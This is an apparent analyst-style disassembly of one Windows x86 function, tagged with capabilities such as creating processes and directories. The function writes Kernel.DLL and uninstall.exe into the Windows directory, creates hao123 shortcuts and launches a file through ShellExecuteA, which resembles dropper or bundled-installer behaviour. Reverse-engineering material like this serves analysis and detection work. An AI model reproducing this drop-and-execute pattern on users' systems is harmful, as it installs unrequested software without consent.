Function at 0x40152b
Capabilities:
Create directory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x928
mov eax, dword [0x40e004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x103
xor ebx, ebx
push esi
lea eax, [ebp - 0x30f]
push ebx
push eax
mov byte [ebp - 0x310], bl
call fcn.00405d60
push esi
lea eax, [ebp - 0x20b]
push ebx
push eax
mov byte [ebp - 0x20c], bl
call fcn.00405d60
push esi
lea eax, [ebp - 0x107]
push ebx
push eax
mov byte [ebp - 0x108], bl
call fcn.00405d60
add esp, 0x24
push 0x104
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x310]
mov byte [ebp - 0x30d], bl
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x4015a6
push 5
pop ecx
mov esi, 0x40c418
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x310]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.imagehlp.dll_MakeSureDirectoryPathExists]
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x20c]
mov byte [ebp - 0x209], bl
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x4015e6
push 5
pop ecx
mov esi, 0x40c418
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
mov cl, byte [ebp + eax - 0x20c]
mov byte [ebp + eax - 0x108], cl
inc eax
cmp cl, bl
jne 0x4015fc
lea edi, [ebp - 0x108]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x401616
mov esi, str.Kernel.DLL
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x108]
push eax
push 0x67
movsb byte es:[edi], byte [esi]
call fcn.0040142c
pop ecx
pop ecx
xor eax, eax
mov cl, byte [ebp + eax - 0x20c]
mov byte [ebp + eax - 0x108], cl
inc eax
cmp cl, bl
jne 0x40163a
xor eax, eax
mov cl, byte [ebp + eax - 0x20c]
mov byte [ebp + eax - 0x108], cl
inc eax
cmp cl, bl
jne 0x40164f
lea edi, [ebp - 0x108]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x401669
mov esi, 0x40c444
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x108]
push eax
push 0x66
movsb byte es:[edi], byte [esi]
call fcn.0040142c
pop ecx
pop ecx
xor eax, eax
mov cl, byte [ebp + eax - 0x20c]
mov byte [ebp + eax - 0x108], cl
inc eax
cmp cl, bl
jne 0x40168d
xor eax, eax
mov cl, byte [ebp + eax - 0x20c]
mov byte [ebp + eax - 0x108], cl
inc eax
cmp cl, bl
jne 0x4016a2
lea edi, [ebp - 0x108]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x4016bc
mov esi, str.uninstall.exe
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x108]
push eax
push 0x68
movsw word es:[edi], word [esi]
call fcn.0040142c
pop ecx
pop ecx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
push ebx
push 2
lea eax, [ebp - 0x928]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea edi, [ebp - 0x928]
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
cmp ax, bx
jne 0x4016fe
mov esi, 0x40c460
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push ebx
lea eax, [ebp - 0x928]
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x104
lea eax, [ebp - 0x518]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
lea edi, [ebp - 0x518]
dec edi
mov word [ebp - 0x512], ax
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
cmp ax, bx
jne 0x401743
push 0x10
pop ecx
mov esi, str.Program_Fileshao123hao123.exe
rep movsd dword es:[edi], dword [esi]
xor eax, eax
movzx ecx, word [ebp + eax - 0x928]
mov word [ebp + eax - 0x720], cx
inc eax
inc eax
cmp cx, bx
jne 0x40175a
lea edi, [ebp - 0x720]
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
cmp ax, bx
jne 0x401779
push 6
pop ecx
lea eax, [ebp - 0x720]
push eax
lea eax, [ebp - 0x518]
mov esi, str.hao123.lnk
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.004014b9
pop ecx
pop ecx
push 0x104
lea eax, [ebp - 0x518]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
lea edi, [ebp - 0x518]
dec edi
mov word [ebp - 0x512], ax
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
cmp ax, bx
jne 0x4017c6
push 0x11
pop ecx
mov esi, str.Program_Fileshao123uninstall.exe
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
movzx ecx, word [ebp + eax - 0x928]
mov word [ebp + eax - 0x720], cx
inc eax
inc eax
cmp cx, bx
jne 0x4017df
lea edi, [ebp - 0x720]
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
cmp ax, bx
jne 0x4017fe
mov esi, 0x40c510
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x720]
movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 0x518]
push eax
movsd dword es:[edi], dword [esi]
call fcn.004014b9
pop ecx
pop ecx
call dword [sym.imp.ole32.dll_CoUninitialize]
call fcn.004013b4
xor eax, eax
mov cl, byte [ebp + eax - 0x20c]
mov byte [ebp + eax - 0x108], cl
inc eax
cmp cl, bl
jne 0x401834
lea edi, [ebp - 0x108]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x40184e
mov esi, 0x40c444
movsd dword es:[edi], dword [esi]
push ebx
push ebx
movsd dword es:[edi], dword [esi]
push ebx
lea eax, [ebp - 0x108]
push eax
movsw word es:[edi], word [esi]
push 0x40c520
push ebx
movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00401889
leave
ret 0x10